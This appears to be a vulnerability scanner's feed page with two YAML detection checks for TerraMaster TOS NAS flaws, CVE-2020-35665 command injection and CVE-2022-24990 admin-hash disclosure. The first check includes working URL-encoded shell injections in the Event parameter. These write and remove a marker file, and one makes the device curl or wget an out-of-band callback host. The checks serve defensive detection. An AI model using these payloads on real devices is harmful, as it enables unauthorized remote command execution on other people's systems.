name: "TerraMaster TOS makecvs.php Unauthenticated Command Injection (CVE-2020-35665)"
description: |
  Detects the TerraMaster TOS (4.2.06 and earlier) unauthenticated OS command injection
  in /include/makecvs.php via the `Event` parameter (CVE-2020-35665 / CVE-2020-28188),
  reported together with the other TOS December 2020 advisory CVEs. Confirmation writes
  an inert per-run text marker whose content only a real shell can produce (empty $()
  collapse), reads it back over HTTP, and removes it. When OOB is configured, a blind
  curl callback covers devices where the read-back is not possible.
cves:
  - CVE-2020-28184
  - CVE-2020-28185
  - CVE-2020-28186
  - CVE-2020-28187
  - CVE-2020-28188
  - CVE-2020-28190
  - CVE-2020-29189
  - CVE-2020-35665
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [terramaster, tos, nas, command-injection, rce, iot, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2020-35665"
  - "https://nvd.nist.gov/vuln/detail/CVE-2020-28188"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/terramaster_unauth_rce_cve_2020_35665.rb"

steps:
  # Per-run marker token and an independent per-run file name, so a server
  # that echoes the requested path (soft 404) can never show the marker.
  - id: gen-token
    action: script
    code: |
      rand_hex(16)
    store_as: tok

  - id: gen-name
    action: script
    code: |
      "nx" + rand_hex(8)
    store_as: fname

  - id: gen-marker
    action: script
    code: |
      "NOCTIS" + tok
    store_as: marker

  # Write the inert marker: Event=http|echo NOCTIS$()<tok> > /usr/www/<name>.txt||
  #   %7C = |   %20 = space   %24%28%29 = $()   %3E = >
  - id: inject-write
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    send: "GET /include/makecvs.php?Event=http%7Cecho%20NOCTIS%24%28%29{{tok}}%20%3E%20/usr/www/{{fname}}.txt%7C%7C HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    store_as: write_resp

  - id: readback
    action: http_request
    method: GET
    path: "/{{fname}}.txt"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "write_resp.connected == true"
    store_as: readback

  # Remove the marker file before deciding (runs whether or not it was read).
  - id: cleanup
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    condition: "write_resp.connected == true"
    send: "GET /include/makecvs.php?Event=http%7Crm%20-f%20/usr/www/{{fname}}.txt%7C%7C HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    store_as: cleanup_resp

  # Confirm RCE: the file the injected command wrote holds the joined marker
  # NOCTIS<tok>, which only a shell evaluating $() produces. If the read-back
  # failed, `readback` is undefined and the condition is false.
  - id: confirm
    action: match
    source: readback.body
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "readback.status == 200 && stridx(readback.body, marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "TerraMaster TOS command injection confirmed via /include/makecvs.php Event parameter: the injected echo NOCTIS$()<tok> wrote the shell-collapsed marker {{marker}} to /{{fname}}.txt, read back over HTTP and then removed"
      stop: true

  # Blind fallback (reached only when the in-band proof did not fire): same
  # injection point, the command fetches the per-run OOB URL to /dev/null.
  # The OOB token is split around an empty $() (sent as %24%28%29) so that only
  # a shell collapses it back into /<oob_token>.
  - id: split-oob-token
    action: script
    condition: "oob_enabled"
    code: |
      let n = strlen(oob_token);
      #{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
    store_as: oobsplit

  - id: inject-oob
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    condition: "oob_enabled"
    send: "GET /include/makecvs.php?Event=http%7Ccurl%20-s%20-o%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}}%7C%7Cwget%20-q%20-O%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}}%7C%7C HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    store_as: oob_req

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled"
    store_as: oob_result
    on_success:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "TerraMaster TOS blind command injection confirmed via /include/makecvs.php Event parameter: a shell collapsed the $()-split OOB token and the injected curl/wget fetched the per-run OOB URL (HTTP callback received)"
      stop: true

TerraMaster TOS < 4.2.31 Unauthenticated NasIPS Information Disclosure (admin hash, CVE-2022-24990)

CVECVE-2022-24990, CVE-2021-45839, CVE-2021-45842
Severityhigh · CVSS 7.5
Categoryexposure — Exposure
Serviceshttp, https
Detectionset_var, http_request, script, match · highest QoD 75
Feedtests/vulnerabilities/terramaster/terramaster-tos-nasips-info-disclosure.yaml

TerraMaster TOS 4.2.29 and earlier answer GET /module/api.php?mobile/webNasIPS (and mobile/wapNasIPS) sent with `User-Agent: TNAS` without authentication, returning the first administrator's password hash (PWD), MAC and internal IP addresses and firmware version. The leaked hash lets an attacker forge the API's authentication headers and chain to unauthenticated RCE as root (CVE-2022-24989 createRaid). This feed sends the two read-only GETs and reports which fields leaked, never the hash itself.

How noctis detects it

  1. HTTP(S) request GET /module/api.php?mobile/webNasIPS
  2. HTTP(S) request GET /module/api.php?mobile/wapNasIPS
  3. Parses / computes the next value with a Rhai script
  4. Checks leak.kind for ^pwd-hash-leak$ → finding QoD 75: TerraMaster TOS unauthenticated NasIPS disclosure (CVE-2022-24990): ….
  5. Checks leak.kind for ^device-info-leak$ → finding QoD 75: TerraMaster TOS unauthenticated NasIPS disclosure (CVE-2021-45839/CVE-2021-45842): ….

References:

Feed source — tests/vulnerabilities/terramaster/terramaster-tos-nasips-info-disclosure.yaml
# TerraMaster TOS < 4.2.31 — unauthenticated `api.php?mobile/webNasIPS` /
# `wapNasIPS` information disclosure (admin password hash, MAC, IP, firmware)
# CVE-2022-24990 (CISA KEV, ransomware), CVE-2021-45839, CVE-2021-45842
#
# Ported from OpenVAS/Greenbone NVT
# `2023/terra-master/gb_terramaster_nas_info_discl_vuln_dec21_active.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.149351, GPL-2.0-only). Same requests: GET
# `/module/api.php?mobile/webNasIPS` then `/module/api.php?mobile/wapNasIPS`
# with `User-Agent: TNAS` (the mobile-app UA the endpoint trusts), same match
# strings: the JSON-escaped `\"firmware\"` key or the JSON-escaped `\nPWD:` line
# that the vulnerable endpoint returns inside its `data` string.
#
# Related but NOT tested (so not in `cves:`): CVE-2022-24989, the createRaid PHP
# object instantiation RCE. The NASL lists it, it is fixed in the same release
# (4.2.31) and the public chain reaches it with the hash this endpoint leaks,
# but this feed never touches createRaid, so it only claims what it proves.
#
# Proof: the probe IS the exploitation of the disclosure (unauthenticated read
# of the first administrator's password hash / device identity) and is
# read-only. QoD 75 (response analysis). category: exposure.
#
# Improvements over the NASL (Flo: do better than OpenVAS when possible):
#   - The NASL reports the whole response, admin password hash included. The
#     engine copies a `match` step's source into the finding, so a `script`
#     step reduces each response to a non-secret summary first (which field
#     leaked, hash scheme, firmware string, endpoint); the PWD value never
#     reaches a finding field or the evidence.
#   - Two branches with distinct confidence: admin hash leaked (`PWD:` — the
#     KEV CVE-2022-24990 condition, chain-enabling) vs. device information only
#     (`\"firmware\"` — CVE-2021-45839/45842 era responses).
#   - Requires HTTP 200 (the NASL matches on the body of any status).
#   - Also accepts a raw (unescaped) `PWD:` line, for firmware that returns the
#     `data` block as plain text instead of a JSON string.
#   - The NASL only runs behind a TerraMaster CPE gate; this feed runs on every
#     http/https service (2 GETs), so a TOS box the fingerprint missed is still
#     tested.
uid: 0c65c32c-429b-4bc3-a4ac-ae5d7eb3bb6e
name: "TerraMaster TOS < 4.2.31 Unauthenticated NasIPS Information Disclosure (admin hash, CVE-2022-24990)"
description: |
  TerraMaster TOS 4.2.29 and earlier answer GET /module/api.php?mobile/webNasIPS
  (and mobile/wapNasIPS) sent with `User-Agent: TNAS` without authentication,
  returning the first administrator's password hash (PWD), MAC and internal IP
  addresses and firmware version. The leaked hash lets an attacker forge the
  API's authentication headers and chain to unauthenticated RCE as root
  (CVE-2022-24989 createRaid). This feed sends the two read-only GETs and
  reports which fields leaked, never the hash itself.
cves: [CVE-2022-24990, CVE-2021-45839, CVE-2021-45842]
cvss: 7.5
severity: high
category: exposure
confidence_base: 0.30
tags: [terramaster, tos, nas, info-disclosure, password-hash, cisa-kev, ransomware]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2022-24990"
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-45839"
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-45842"
  - "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-24990.yaml"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/terramaster_unauth_rce_cve_2022_24990.rb"

steps:
  # Pre-initialise both results: a failed request leaves `store_as` unset, and an
  # undefined variable in the `script` step would abort the whole test.
  - id: init-web
    action: set_var
    var_name: web
    var_value: {status: 0, body: null}

  - id: init-wap
    action: set_var
    var_name: wap
    var_value: {status: 0, body: null}

  - id: probe-webnasips
    action: http_request
    method: GET
    path: "/module/api.php?mobile/webNasIPS"
    port: "{{port}}"
    headers:
      User-Agent: "TNAS"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: web

  - id: probe-wapnasips
    action: http_request
    method: GET
    path: "/module/api.php?mobile/wapNasIPS"
    port: "{{port}}"
    headers:
      User-Agent: "TNAS"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: wap

  # Reduce both responses to a secret-free summary BEFORE any match step: the
  # `match` source is copied verbatim into the finding, so it must never be a
  # raw body carrying the admin hash.
  - id: analyze
    action: script
    code: |
      fn classify(r, url) {
        let none = #{ kind: "none", detail: "" };
        if type_of(r) != "map" || r.status != 200 || type_of(r.body) != "string" {
          return none;
        }
        let b = r.body;
        let pwd_json = b.contains("\\nPWD:");
        let pwd_raw = ereg("(^|\n)PWD:", b);
        let fw = b.contains("\\\"firmware\\\"");
        if !pwd_json && !pwd_raw && !fw {
          return none;
        }
        let fields = [];
        for f in ["ADDR", "NAME", "IFC", "SAT", "DAT"] {
          if ereg("(\\\\n|\"|^|\n)" + f + ":", b) { fields.push(f); }
        }
        let fields_txt = "";
        for f in fields {
          fields_txt += if fields_txt == "" { " and device fields " + f } else { "/" + f };
        }
        let fwv = eregmatch("\\\\\"firmware\\\\\"\\s*:\\s*\\\\\"([A-Za-z0-9_. -]{1,40})", b);
        let fw_txt = if fwv.len() > 1 { ", firmware " + fwv[1] } else { "" };
        if pwd_json || pwd_raw {
          let scheme = if ereg("PWD:\\$1\\$", b) { "md5-crypt ($1$)" } else { "unknown scheme" };
          return #{
            kind: "pwd-hash-leak",
            detail: "GET " + url + " with User-Agent TNAS returned HTTP 200 carrying the administrator password hash (PWD field, " + scheme + "; value withheld)" +
              fields_txt + fw_txt
          };
        }
        #{
          kind: "device-info-leak",
          detail: "GET " + url + " with User-Agent TNAS returned HTTP 200 carrying the device information block (firmware key" + fw_txt + ") without authentication"
        }
      }
      let a = classify(web, "/module/api.php?mobile/webNasIPS");
      let b = classify(wap, "/module/api.php?mobile/wapNasIPS");
      if a.kind == "pwd-hash-leak" { a }
      else if b.kind == "pwd-hash-leak" { b }
      else if a.kind != "none" { a }
      else { b }
    store_as: leak

  - id: detect-pwd-hash
    action: match
    source: leak.kind
    pattern: "^pwd-hash-leak$"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "TerraMaster TOS unauthenticated NasIPS disclosure (CVE-2022-24990): {{leak.detail}}."
      stop: true

  - id: detect-device-info
    action: match
    source: leak.kind
    pattern: "^device-info-leak$"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "TerraMaster TOS unauthenticated NasIPS disclosure (CVE-2021-45839/CVE-2021-45842): {{leak.detail}}."
      stop: true

View these feeds on GitHub